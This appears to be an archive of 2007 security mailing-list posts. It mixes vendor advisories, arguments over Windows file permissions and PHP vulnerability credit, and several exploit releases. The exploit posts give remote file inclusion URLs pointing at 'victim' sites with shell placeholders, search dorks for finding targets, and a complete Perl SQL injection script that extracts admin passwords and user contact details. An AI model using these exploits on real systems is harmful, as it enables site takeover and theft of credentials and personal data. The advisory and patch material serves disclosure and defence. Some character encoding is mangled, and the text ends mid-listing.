wwwpaintboar(newsfile) Remote File Inclusion Vulnerability
wwwpaintboar(newsfile) Remote File Inclusion Vulnerability --- Version : 1.0 Website URL: http://phpforge.oirac.com/ --- Discoved by saw_xyz (sasan) [XIII Security Researcher] Gr33tZ t0 :Snake My Home : www.saw13.com fuck ahsyane st an davood [ashy member] --- Vulnerable codeZ is in editor.php in line 261 : ? include $newsfile; ? --- Ex: http://127.0.0.1/%5bpatch%5d/editor.php?newsfile=%5bevil script]
Remote File Include In Script Premod SubDog 2
By Hasadya Raed Contact : [EMAIL PROTECTED] Script : Premod SubDog 2 Dork : Premod SubDog 2 B.Files : functions_kb.php themen_portal_mitte.php logger_engine.php Exploits : http://www.Victim.com/[path]/includes/functions_kb.php?phpbb_root_path=[Shell-Attack] http://www.Victim.com/[path]/includes/themen_portal_mitte.php?phpbb_root_path=[Shell-Attack] http://www.Victim.com/[path]/includes/logger_engine.php?phpbb_root_path=[Shell-Attack] By Hasadya Raed -- ___ Get your free email from http://bsdmail.com
Remote File Include In Script SoftNews Media Group
By Hasadya Raed Contact : [EMAIL PROTECTED] Script : SoftNews Media Group Dork : Copyright © 2004,2006 SoftNews Media Group Greetz : Only To Security Focus B.Files : init.php editnews.php Exploits: http://www.Victim.com/engine/init.php?root_dir=[Shell-Attack] http://www.Victim.com/engine/Ajax/editnews.php?root_dir=[Shell-Attack] By Hasadya Raed -- ___ Get your free email from http://bsdmail.com
Pre-open files attack agains locked file
Hello lists, hello Roger. It's me again.
Sorry for annoyance, but there is one more attack vector with pre-open
files I meant, but forgot to mention. It seems dangerous enough and need
to be investigated for different applications. It's theoretical attack
against application relying on mandatory locks.
Attack scenario:
1. Alice pre-opens some Document and awaits Bob to open it. Document is
safe to open (text file, video file, business application format, etc).
Also, like in case of Microsoft Word it can be temporary file.
2. Bob opens Document with some Application.
3. Application locks file and reads or writes some data
4. Alice modifies data
5. Application reads previously accessed data. Because application
relies on the fact data can not be modified in locked file, this data is
not validated. It can lead to the problems like buffer overflows and to
ability to modify execution flow / arbitrary code execution.
What can be instead of Application? Any application to process user
supplied file which locks this file during processing.
Examples are: Microsoft Office applications, video/audio players, etc. I
expect huge number of applications are vulnerable and will be grateful
to everyone who can help me to find this kind of vulnerabilities
in-the-wild, because this kind of vulnerability is not trivial and hard
to catch without source code analysis.
--
http://securityvulns.com/
/\_/\
{ , . } |\
+--oQQo-{ ^ }-+ \
| ZARAZA U 3APA3A } You know my name - look up my number (The Beatles)
+-o66o--+ /
|/
PHP-Nuke = 8.0 Cookie Manipulation (lang)
/
PHPNuke = 8.0 Cookie Manipulation (lang)
PROGRAM: PHP-Nuke
HOMEPAGE: http://phpnuke.org/
VERSION: All version
BUG: Cookie Manipulation (lang) (SQL Injection + Local file include)
AUTHOR: Aleksandar aka sale83
///
PHP.ini
Magic Quotes = OFF
//
PHP-Nuke - Preferences - Multilingual Options- On (Activate Multilingual
features? = YES)
/
Bug is found in mainfile.php line 327.
// Line 327 Bug is here
} elseif (isset($lang)) {
include_once(language/lang-.$lang..php); // This can be exploited
by malicious users: ex: /../../robots.txt%00 Multilingual Options=OFF
$currentlang = $lang; // This can be exploited by malicious users.
ex:SQL Injection in Top and News Module ($currentlang) Multilingual Options = On
} else {
/
This flaw is due to an error when handling the lang cookie parameter, which
could be exploited by malicious users because $lang is not filtered.
Tested On:
Windows XP
Linux SlackWare 10.2
PHP Version 5.1.4
PHPNuke 8.0 ,7.9,7.6
Magic Quotes = OFF
Firefox 2 + Add N Edit Cookies Add-ons
/
Patch:
} elseif (isset($lang)) {
if (eregi('[A-Za-z]', $lang)) {
if (file_exists(language/lang-.$lang..php)) {
include_once(language/lang-.$lang..php);
$currentlang = $lang;
}else {
include_once(language/lang-english.php);
$currentlang = english;
}
}else {
include_once(language/lang-english.php);
$currentlang = english;
}
} else {
/
Best Regards
Aleksandar
Programmer and Web Developer
///
[ECHO_ADV_68$2007] PMB Services = 3.0.13 Multiple Remote File Inclusion Vulnerability
-
[ECHO_ADV_68$2007] PMB Services = 3.0.13 Multiple Remote File Inclusion
Vulnerability
-
Author : M.Hasran Addahroni
Date : March, 9th 2007
Location : Australia, Sydney
Web: http://advisories.echo.or.id/adv/adv68-K-159-2007.txt
Critical Lvl : Dangerous
---
Affected software description:
Application : PMB Services
version : = 3.0.13
Vendor: http://www.sigb.net/
Description :
PMB is a completely free ILS (Integrated Library management System). The domain
of software for libraries is almost exclusively occupied by proprietary
products.
We are some librarians, users and developers deploring this state of affairs.
PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation),
the MySQL database and the PHP language.
The main functions of PMB are :
* Supporting the UNIMARC format
* Authorities management (authors, publishers, series, subjects...)
* Management of loans, holds, borrowers...
* A user-friendly configuration
* The ability to import full bibliographic records
* A user-friendly OPAC integrating a browser
* Loans management with a module designed to serve even the very small
establishments
* Serials management
* Simple administration procedures that can be handled easily even by the
library staff...
---
Vulnerability:
~~
- Invalid include function at includes/resa_func.inc.php :
---includes/resa_func.inc.php--
?php
// +-+
// © 2002-2004 PMB Services / www.sigb.net [EMAIL PROTECTED] et contributeurs
(voir www.sigb.net)
// +-+
// $Id: resa_func.inc.php,v 1.49 2006/10/31 07:59:35 touraine37 Exp $
require_once($class_path/quotas.class.php);
...
--
- Invalid include function at includes/bull_info.inc.php :
--includes/bull_info.inc.php--
?php
// +-+
// © 2002-2004 PMB Services / www.sigb.net [EMAIL PROTECTED] et contributeurs
(voir www.sigb.net)
// +-+
// $Id: bull_info.inc.php,v 1.23 2006/08/29 20:33:32 touraine37 Exp $
// affichage des infos bulletin
require_once($include_path./resa_func.inc.php);
...
- Invalid include function at includes/misc.inc.php :
---includes/misc.inc.php-
?php
// +-+
// © 2002-2004 PMB Services / www.sigb.net [EMAIL PROTECTED] et contributeurs
(voir www.sigb.net)
// +-+
// $Id: misc.inc.php,v 1.46 2006/10/18 17:06:28 dbellamy Exp $
//
// fonctions de formatage de chaîne
//
// reg_diacrit : fonction pour traiter les caractères accentués en recherche
avec regex
// choix de la classe ? utiliser pour envoi en pdf
if (!$fpdf) {
if ($charset != 'utf-8') $fpdf = 'FPDF'; else $fpdf = 'UFPDF';
}
require_once($include_path./marc_tables/.$lang./empty_words);
...
--
- Invalid include function at opac_css/rec_panier.php:
-opac_css/rec_panier.php--
?php
// +-+
// © 2002-2004 PMB Services / www.sigb.net [EMAIL PROTECTED] et contributeurs
(voir www.sigb.net)
// +-+
// $Id: rec_panier.php,v 1.5 2006/12/10 10:04:10 touraine37 Exp $
require_once($base_path.'/includes/session.inc.php');
?
-
- - Invalid include function at opac_css/includes/author_see.inc.php :
opac_css/includes/author_see.inc.php
?php
// +-+
// © 2002-2004 PMB Services / www.sigb.net [EMAIL PROTECTED] et contributeurs
(voir www.sigb.net)
// +-+
// $Id: author_see.inc.php,v 1.32 2006/12/29 16:10:04 touraine37 Exp $
// affichage du detail pour un auteur
require_once($base_path.'/includes/templates/author.tpl.php');
...
Re: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues
Apps utilizing temporary files should always use the TEMP or TMP environment variables, not a hard-coded path. And by default, each user has their own temp directory created (in XP/Server it is \Documents and Settings\username\Local Settings\temp and in Vista it is \Users\username\AppData\Local\Temp) that only they have permissions to (with SYSTEM and Administrators, of course). It's not like there is some global Full Control temp directory created by default. t - Original Message - From: Roger A. Grimes [EMAIL PROTECTED] To: Tim [EMAIL PROTECTED] Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk Sent: Friday, March 09, 2007 9:42 AM Subject: RE: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues So, let me get this. An app storing sensitive data doesn't make its own temp storage folders in a secure location, and instead relies upon one of the few folders in Windows that all users have Full Control to, and this is a Windows problem? In Linux, if an app uses \tmp, is that a Linux issue? Sounds like a developer issue to me. Roger -Original Message- From: Tim [mailto:[EMAIL PROTECTED] Sent: Friday, March 09, 2007 11:20 AM To: Roger A. Grimes Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues I find your assessment somewhat short-sighted. I have conducted code reviews on several commercial apps which use C:\TEMP in very insecure ways to store sensitive data. It seems some of these attacks would be possible in those situations. Sure, Windows is already pathetically insecure against an attackers already on the local system, but this would be yet another attack vector. tim
[SECURITY] [DSA 1265-1] New Mozilla packages fix several vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1265-1[EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze March 10th, 2007http://www.debian.org/security/faq - -- Package: mozilla Vulnerability : several Problem type : remote Debian-specific: no CVE IDs: CVE-2006-6497 CVE-2006-6498 CVE-2006-6499 CVE-2006-6501 CVE-2006-6502 CVE-2006-6503 CVE-2006-6505 CERT advisories: VU#263412 VU#405092 VU#427972 VU#428500 VU#447772 VU#606260 VU#887332 BugTraq ID : 21668 Several security related problems have been discovered in Mozilla and derived products. The Common Vulnerabilities and Exposures project identifies the following vulnerabilities: CVE-2006-6497 Several vulnerabilities in the layout engine allow remote attackers to cause a denial of service and possibly permit them to execute arbitrary code. [MFSA 2006-68] CVE-2006-6498 Several vulnerabilities in the JavaScript engine allow remote attackers to cause a denial of service and possibly permit them to execute arbitrary code. [MFSA 2006-68] CVE-2006-6499 A bug in the js_dtoa function allows remote attackers to cause a denial of service. [MFSA 2006-68] CVE-2006-6501 shutdown discovered a vulnerability that allows remote attackers to gain privileges and install malicious code via the watch JavaScript function. [MFSA 2006-70] CVE-2006-6502 Steven Michaud discovered a programming bug that allows remote attackers to cause a denial of service. [MFSA 2006-71] CVE-2006-6503 moz_bug_r_a4 reported that the src attribute of an IMG element could be used to inject JavaScript code. [MFSA 2006-72] CVE-2006-6505 Georgi Guninski discovered several heap-based buffer overflows that allow remote attackers to execute arbitrary code. [MFSA 2006-74] For the stable distribution (sarge) these problems have been fixed in version 1.7.8-1sarge10. For the unstable distribution (sid) these problems have been fixed in version 1.0.7-1 of iceape. We recommend that you upgrade your Mozilla and Iceape packages. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given at the end of this advisory: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/m/mozilla/mozilla_1.7.8-1sarge10.dsc Size/MD5 checksum: 1125 7bbb0352ba3ac9f97a6349dc5b30830e http://security.debian.org/pool/updates/main/m/mozilla/mozilla_1.7.8-1sarge10.diff.gz Size/MD5 checksum: 610517 a93a7496c1ee1336de1eabb4ace10a40 http://security.debian.org/pool/updates/main/m/mozilla/mozilla_1.7.8.orig.tar.gz Size/MD5 checksum: 30589520 13c0f0331617748426679e8f2e9f537a Alpha architecture: http://security.debian.org/pool/updates/main/m/mozilla/libnspr-dev_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 172736 2b766929fd8fc52fd2dba54550db816e http://security.debian.org/pool/updates/main/m/mozilla/libnspr4_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 149964 a182e1466f9656f71d16ff2d7ab2571b http://security.debian.org/pool/updates/main/m/mozilla/libnss-dev_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 189726 7343cb0178402a4aeb3054e80f0b2d9b http://security.debian.org/pool/updates/main/m/mozilla/libnss3_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 858650 6ca44187faea0d75dc0c868658e7282d http://security.debian.org/pool/updates/main/m/mozilla/mozilla_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 1030 f2a4a8b7f0dd9ab8b9a80ec1bd7a9a72 http://security.debian.org/pool/updates/main/m/mozilla/mozilla-browser_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 11535592 2eb72b02028260bb60aa77c17fe657bb http://security.debian.org/pool/updates/main/m/mozilla/mozilla-calendar_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 403522 fe42c78ec1ee7e2292bb03904b3a2471 http://security.debian.org/pool/updates/main/m/mozilla/mozilla-chatzilla_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 158336 e08a92e6530f91204f71d9067f426ff2 http://security.debian.org/pool/updates/main/m/mozilla/mozilla-dev_1.7.8-1sarge10_alpha.deb Size/MD5 checksum: 3611380 0a3282afa4806af2be0c170052f3c7d0
Re: PHP Classifieds 7.1 - Remote File Include Vulnerability
This will not work as long as you follow the warning messages during install. This can only work with register_globals turned ON. The program warns about this both during install AND each time admin logs in.
Re: [Full-disclosure] PHP import_request_variables() arbitrary variable overwrite
Hi Stefan, first of all let me say i come in peace :) Il giorno sab, 10/03/2007 alle 15.17 +0100, Stefan Esser ha scritto: Hello, PHP import_request_variables() arbitrary variable overwrite Date #-1;#-1; 20060307 I believe all dates in the advisory contain the wrong year... Oops..Yeh :) thank you, i'll change it on my site:) III. ANALYSIS import_request_variables() is not new to vulnerabilities: consider this change log entry for 24 Nov 2005, PHP 5.1. [quote] - Fixed potential GLOBALS overwrite via import_request_variables() and possible crash and/or memory corruption. (Ilia) [/quote] Taking into account that the vulnerability you describe is fixed in Hardened-PHP for years and that there is also a protection against this in the Suhosin Extension you can be sure that this NOT a new vulnerability (and that you are not the first one who found it...) ok, this was the real timeline in my research: day one: 1. I see import_request_variables and read php manual. 2. I think about overwrite globals (no way). 3. I think about overwriting _SERVER and test it on php 5.1.6 (ubuntu)(it works!) 4. I stop, gotta sleep. day two: 1. I search on google for import_request_variables advisories (nothing found) 2. I search on php.net in changeLog for fixes (nothing found). 3. I download php 5.2.1 4. I test my poc on mod_php5 compiled from sources. 5. It works again. 6. Ascii and me write the advisory. Sorry but i used (maybe in a bad way) google and vendor site and in some minutes i didn't find anything about the issue (apart from the 2005 changelog). And as no advisory where out on standard sites, I decided to send my own research without any other effort knowing if it was known publicly or in the wild. I didn't look into other products like hardened php patch or suhosin, cause they are not php by default. For the record, the same vulnerability was reported by me on the 23.10.2004 at 22:05 in a mail to [EMAIL PROTECTED] (before I added the protection to Hardened-PHP) At that time the PHP developers considered it NOT A VULNERABILITY. Sadly enough i've also been told several times that some issue was not a vulnerability, and later i found some advisory about that from other researchers, so i can understand you are a bit sad...but we're both professional and we do know these incidents are part of real world and Full-Disclosure world. Anyway it seems that your month of php bugs is getting php developers more sensitive to all issues... Maybe there was some misunderstanding between you and dev team and the core team was less interested in this kind of flaws at that time. Well now the PHP developers have commited a fix for this to the PHP CVS, crediting you instead of the original reporter (me) If there are other credits to be given then let me say that i don't have write access to php.net site :). and as usual the fix is only fixing a part of the problem. (Hint: long names like HTTP_POST_VARS do exist...) did'nt see the fix, and so maybe you should add it to MOPB. peace :), Stefano Stefan Esser Hardened-PHP Project -- ...oOOo...oOOo Stefano Di Paola Software Security Engineer Web: www.wisec.it ..
RE: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues
Two things regarding this ongoing (civil) flame war: 1. I was wrong about most versions of Linux having the same inheritance behavior as Windows. Dead wrong. And several people have wrote to correct me. Thank you. The search for truth is more important than my ego. grin Before I wrote that statement, I dropped into a VM of knoppix that I had on my desktop to test. It's default umask is 000, and thus the normal inheritance rules applied. After many people wrote, I realized I used Foundstone's FSLive distro, which is a variation of Knoppix, intentionally weakened for the classes we teach. It goes to show that one sample finding does not a population make. 2. My bone of contention with the original poster, is not that he's an idiot. He isn't. I'm objecting to his obscure insecurity scenario that he uses to start the discussion (i.e. private folder created under a public folder). How many of you have intentionally created a private folder underneath a public folder, where the public folder gave Modify/Change permissions to the larger group? It's got to be a small minority, and I'd question why even those people did it. I've been a sysadmin for 20 years and never done it. If someone was to come to me and tell me they were going to do it, I'd caution them against it. Not because of the poster's original concern, but because on the onset it looks like bad security policy looking for trouble. I'd recommend that a separate private folder be created every time. Where I have seen public folders used with private folders underneath, the larger group did not have Change/Modify permissions to the parent public folder. They had Read and List, and couldn't modify other people's child folders. That's very common. The rest of his posting is a NTFS permissions 101 class. we've all been taught that if you delete and re-create an object in Windows, even with the same name, it isn't the same object. This applies to files, folders, groups, users...every Windows object without exception. No surprise there. We also know whoever creates the object is the Creator Owner and gets Full Control. It's why Microsoft added the creator Owner SID so that we could change the default behavior if we didn't like it. So, I don't see the big lesson in his posting. Now, before I get more people defending the original poster, I think his exact same argument could be applied to a much more common scenario that I see all the time, perhaps in 50% of all companies that I have audited. It is where the Everyone group has Full Control to a public Share. Unless you intend that anyone in your company can change permissions, it's a bad thing to do. And don't start with that Windows makes that the automatic default...that changed in XP. The default Share permission is now Read, and the underlying NTFS permission (which wins in a conflict), has never been Everyone Full Control by default in any version of Windows since NT 4.0. I'd rather the poster take the more popular problem I've mentioned in the paragraph above and make the exact same argument, which is, if you make a security configuration mistake (because all of these scenarios are mistakes pure and simple), other users can use a timing attack and deception to give themselves elevated access to your personal files. It's still a valid lesson, but I'm not mentally tripping over a strange start out assumption. And in the end, the solution is an easy one: 1. Don't intentionally configure security weaknesses. 2. If you absolutely need to give users the ability to create private folders under a public folder where users have Modify/Change or Full Control permissions, you have four easy defenses: a. Change default inheritance b. Enable the Deny-Delete files and subfolders permission. c. Change the Creator Owner SID's default permissions for that folder. d. Make them separate folders. Roger * *Roger A. Grimes, InfoWorld, Security Columnist *CPA, CISSP, MCSE: Security (2000/2003/MVP), CEH, yada...yada... *email: [EMAIL PROTECTED] or [EMAIL PROTECTED] *Author of Professional Windows Desktop and Server Hardening (Wrox) *http://www.amazon.com/gp/product/0764599909 *
Re: [Full-disclosure] PHP import_request_variables() arbitrary variable overwrite
Stefan Esser wrote: Taking into account that the vulnerability you describe is fixed in Hardened-PHP for years and that there is also a protection against this in the Suhosin Extension you can be sure that this NOT a new vulnerability (and that you are not the first one who found it...) not being credited is really annoying and i understand your feelings but it happens, take a look here, this vulnerability was fixed 3, 4 times? http://www.ush.it/2006/01/25/php5-globals-vulnerability/ i'm sure i wasn't credited at all but who cares, i just want the bugs fixed, and i think that this is the spirit of this month For the record, the same vulnerability was reported by me on the 23.10.2004 at 22:05 in a mail to [EMAIL PROTECTED] (before I added the protection to Hardened-PHP) At that time the PHP developers considered it NOT A VULNERABILITY. some misunderstanding in the communication between you and php team? it happens and i'm sad for it but this is not our fault fun on 21.10.2004 at 20:12 i called my grandmother but she was sleeping, she is an old lady and it's normal to fall asleep at that age : ) /fun i think that it's possible that your month of php bugs could have changed the way php devs look to vulnerabilities (if so the goal is fully reached) or it could be the full disclosure i mean: why don't publish something you found in 2004? just post an advisory of the type i found this, they said NO-NO, this is the bug, use my products to get protection Well now the PHP developers have commited a fix for this to the PHP CVS, crediting you instead of the original reporter (me) and as usual the fix is only fixing a part of the problem. umh.. next time publish your findings : ) you will get credit from the beginning and the bug will be fixed my feeling is that it's important to fix software, any way is allowed: if internal disclosure doesn't work i'll post to fd, or post directly to fd and while your products are valid and i personally use them my guess is that it's more important to fix things in php itself as from the statement you made initiative to improve PHP's security if there are other things in your products that are not fixed in php why don't publish them? (Hint: long names like HTTP_POST_VARS do exist...) the just fixed _POST and so on? nice : ) i really appreciate your work with php, keep up with the disclosure! Regards, Francesco 'ascii' Ongaro http://www.ush.it/ ps: add some smiles in your mails or people will get confused about the tone of your speaking : )
Re: [Full-disclosure] PHP import_request_variables() arbitrary variable overwrite
Hello Stefano, first of all. I am not angry at you, although my mail might have sounded so, but at the people that deserve it. The fault of the PHP Security Response Team is not yours. They are the ones that give credit to the wrong persons. Luckily after 2.5 years they fixed that issue (or atleast tried so). Anyway it seems that your month of php bugs is getting php developers more sensitive to all issues... Maybe there was some misunderstanding between you and dev team and the core team was less interested in this kind of flaws at that time. This is the goal of the MOPB. And right now it might look like the MOPB was already successfull. Unfortunately I have worked together with the PHP Security Response Team for several years and I know how they react. They might be active for a little while (especially when the media looks at them) but when that period of time is over they will continue with their old habits. Stefan Esser
F#305;st#305;q Duyuru Scripti Remote Sql #304;njection Exploit
F#305;st#305;q Duyuru Scripti Remote Sql #304;njection
File : goster.asp
Sql : -1%20union+all+select+0,kullaniciadi,sifre,3+from+admin
Admin Name + Admin Pass
Admin Menu: yoneticiii/default.asp
Thanks : Ajann , Xoron , ApAci , ErNE , Uyuss , Eno7 , Thehacker , Enjexion
.pl Exploit Code :
#!/usr/bin/perl
#[Script Name: F#305;st#305;q Duyuru Scripti
#[Coded by : [EMAIL PROTECTED]
#[Author : [EMAIL PROTECTED]
#[Contact: [EMAIL PROTECTED]
#[S.Page : http://www.isikkoyu.com/images/yeni/default.asp
use IO::Socket;
if(@ARGV lt; 1){
print
[
[// F#305;st#305;q Duyuru Scripti Remote Blind SQL Injection Exploit
[// Usage: exploit.pl [target]
[// Example: exploit.pl victim.com
[// Example: exploit.pl victim.com
[// Vulnamp;Exp : [EMAIL PROTECTED] (k)
[
;
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = http://.$server;
$port = 80;
$file = /goster.asp?id=;
print Script lt;DIRgt; : ;
$dir = lt;STDINgt;;
chop ($dir);
if ($dir =~ /exit/){
print -- Exploit Failed[You Are Exited] \n;
exit();
}
if ($dir =~ /\//){}
else {
print -- Exploit Failed[No DIR] \n;
exit();
}
$target = -1%20union+all+select+0,kullaniciadi,sifre,3+from+admin;
$target = $host.$dir.$file.$target;
#Writing data to socket
print
+**+\n;
print + Trying to connect: $server\n;
$socket = IO::Socket::INET-gt;new(Proto =gt; tcp, PeerAddr =gt; $server,
PeerPort =gt; $port) || die \n+ Connection failed...\n;
print $socket GET $target HTTP/1.1\n;
print $socket Host: $server\n;
print $socket Accept: */*\n;
print $socket Connection: close\n\n;
print + Connected!...\n;
#Getting
while($answer = lt;$socketgt;) {
if ($answer =~ /name=\login\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Exploit succeed! Getting admin information.\n;
print + +\n;
print + Username: $1\n;
}
if ($answer =~ /name=\password\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Password: $1\n;
}
if ($answer =~ /name=\name\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Name: $1\n;
}
if ($answer =~ /name=\email\ size=\30\ class=\gray_back\ value=\(.*?)
onBlur/){
print + Email: $1\n;
}
if ($answer =~ /name=\address1\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Address1: $1\n;
}
if ($answer =~ /name=\address2\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Address1: $1\n;
}
if ($answer =~ /name=\city\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + City: $1\n;
}
if ($answer =~ /name=\postcode\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + PostCode: $1\n;
}
if ($answer =~ /name=\county\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Country: $1\n;
}
if ($answer =~ /name=\phone\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Phone: $1\n;
}
if ($answer =~ /name=\iurl\ size=\24\ class=\gray_back\
value=\(.*?)\gt;/){
print + Fax: $1\n;
}
if ($answer =~ /name=\title\ size=\30\ class=\gray_back\
value=\(.*?)\gt;/){
print + Country: $1\n;
}
if ($answer =~ /Syntax error/) {
print + Exploit Failed : ( \n;
print
+**+\n;
exit();
}
if ($answer =~ /Internal Server Error/) {
print + Exploit Failed : ( \n;
print
+**+\n;
exit();
}
}
Security bypass vulnerability in LedgerSMB and SQL-Ledger (fixes released today)
Hi all; George Theall of Tenable Security notified the LedgerSMB core team today of an authentication bypass vulnerability allowing full access to the administrator interface of LedgerSMB 1.1 and SQL-Ledger 2.x. The problem is caused by the password checking routine failing to enforce a password check under certain circumstances. The user can then create accounts or effect denial of service attacks. This is not related to any previous CVE. We have coordinated with the SQL-Ledger vendor and today both of us released security patches correcting the problem. SQL-Ledger users who can upgrade to 2.6.26 should do so, and LedgerSMB 1.1 or 1.0 users should upgrade to 1.1.9. Users who cannot upgrade should configure their web servers to use http authentication for the admin.pl script in the main root directory. Best Wishes, Chris Travers begin:vcard fn:Chris Travers n:Travers;Chris email;internet:[EMAIL PROTECTED] tel;work:509-888-0220 tel;cell:509-630-7794 x-mozilla-html:FALSE version:2.1 end:vcard
[ GLSA 200703-10 ] KHTML: Cross-site scripting (XSS) vulnerability
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200703-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Low Title: KHTML: Cross-site scripting (XSS) vulnerability Date: March 10, 2007 Bugs: #165606 ID: 200703-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis The KHTML component shipped with the KDE libraries is prone to a cross-site scripting (XSS) vulnerability. Background == KDE is a feature-rich graphical desktop environment for Linux and Unix-like Operating Systems. KHTML is the HTML interpreter used in Konqueror and other parts of KDE. Affected packages = --- Package / Vulnerable / Unaffected --- 1 kde-base/kdelibs 3.5.5-r8 = 3.5.5-r8 Description === The KHTML code allows for the execution of JavaScript code located inside the Title HTML element, a related issue to the Safari error found by Jose Avila. Impact == When viewing a HTML page that renders unsanitized attacker-supplied input in the page title, Konqueror and other parts of KDE will execute arbitrary JavaScript code contained in the page title, allowing for the theft of browser session data or cookies. Workaround == There is no known workaround at this time. Resolution == All KDElibs users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =kde-base/kdelibs-3.5.5-r8 References == [ 1 ] CVE-2007-0537 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0537 [ 2 ] CVE-2007-0478 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0478 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200703-10.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2007 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 pgpwyYXT7FmLU.pgp Description: PGP signature
Re: Firekeeper - IDS for Firefox available
* Jex [EMAIL PROTECTED] [2007-03-09 13:27]: ... rules similar to Snort ones to describe browser based attack attempts. All incoming HTTP and HTTPS traffic is scanned with these rules. HTTPS and compressed responses are scanned after decryption/decompression. So the next snort style overflow/format string/etc bug from all that string bashing code going on in the ids can now let the attacker compromise a process with access to my https stream decrypted - probably on an already convieniently open descriptor. Yeah. Baby. Web Browers are Bloated Fscking Monsters that are full of bugs Lets add more code to look for people exploiting the bugs - of course this code won't have bugs.. Now maybe I'm a little bit radical, but something tells me we've learned nothing from the past here kids. -Bob Church of the Bloated Spaghetti Monster O O B S M- ( I'd Fly but I'm Bloated with too much Spaghetti) / | | | | | | | \ | | | | | | | | | $ sudo ldd firefox-bin firefox-bin: StartEnd Type Open Ref GrpRef Name exe 10 0 firefox-bin 07cb5000 27cc7000 rlib 01 0 /usr/local/mozilla-firefox/libmozjs.so.19.0 0d4fa000 2d4fd000 rlib 01 0 /usr/local/mozilla-firefox/libxpcom.so.19.0 063ca000 263df000 rlib 02 0 /usr/local/mozilla-firefox/libxpcom_core.so.19.0 0a9ec000 2a9f rlib 04 0 /usr/local/lib/libplds4.so.18.0 09f33000 29f37000 rlib 04 0 /usr/local/lib/libplc4.so.18.0 0e7fc000 2e806000 rlib 06 0 /usr/local/lib/libnspr4.so.18.0 0a0c2000 2a17a000 rlib 01 0 /usr/local/lib/libgtk-x11-2.0.so.802.1 0bc86000 2bcad000 rlib 02 0 /usr/local/lib/libgdk-x11-2.0.so.802.1 0dc27000 2dc2e000 rlib 03 0 /usr/local/lib/libgdk_pixbuf-2.0.so.802.1 0a0bb000 2a0bf000 rlib 03 0 /usr/local/lib/libpangocairo-1.0.so.1200.3 03652000 23657000 rlib 04 0 /usr/local/lib/libpangoft2-1.0.so.1200.3 0fbcb000 2fbe2000 rlib 05 0 /usr/local/lib/libpango-1.0.so.1200.3 01d67000 21d7 rlib 02 0 /usr/local/lib/libatk-1.0.so.1011.3 0b5dd000 2b5ea000 rlib 08 0 /usr/local/lib/libgobject-2.0.so.1000.3 0e5a5000 2e5a9000 rlib 08 0 /usr/local/lib/libgmodule-2.0.so.1000.3 0278f000 227c9000 rlib 010 0 /usr/local/lib/libglib-2.0.so.1000.3 06a54000 26a58000 rlib 011 0 /usr/local/lib/libintl.so.3.0 02437000 22513000 rlib 011 0 /usr/local/lib/libiconv.so.4.0 0bc14000 2bc2 rlib 04 0 /usr/local/lib/libcairo.so.5.0 0ac74000 2ac9 rlib 07 0 /usr/X11R6/lib/libfreetype.so.13.1 05fcf000 25fdf000 rlib 06 0 /usr/X11R6/lib/libfontconfig.so.3.0 0d0c2000 2d0c7000 rlib 05 0 /usr/local/lib/libglitz.so.2.0 0a5d1000 2a5d8000 rlib 05 0 /usr/local/lib/libpng.so.5.1 06fe5000 26fed000 rlib 05 0 /usr/lib/libz.so.4.1 00035000 20039000 rlib 07 0 /usr/X11R6/lib/libXrender.so.4.1 09d92000 29dde000 rlib 012 0 /usr/X11R6/lib/libX11.so.9.0 07e6b000 27e6f000 rlib 011 0 /usr/X11R6/lib/libXext.so.9.0 03b3e000 23b45000 rlib 012 0 /usr/lib/libm.so.2.3 0ecae000 2ecd4000 rlib 01 0 /usr/lib/libstdc++.so.42.0 0704c000 2708 rlib 05 0 /usr/lib/libc.so.40.3 0e93c000 2e945000 rlib 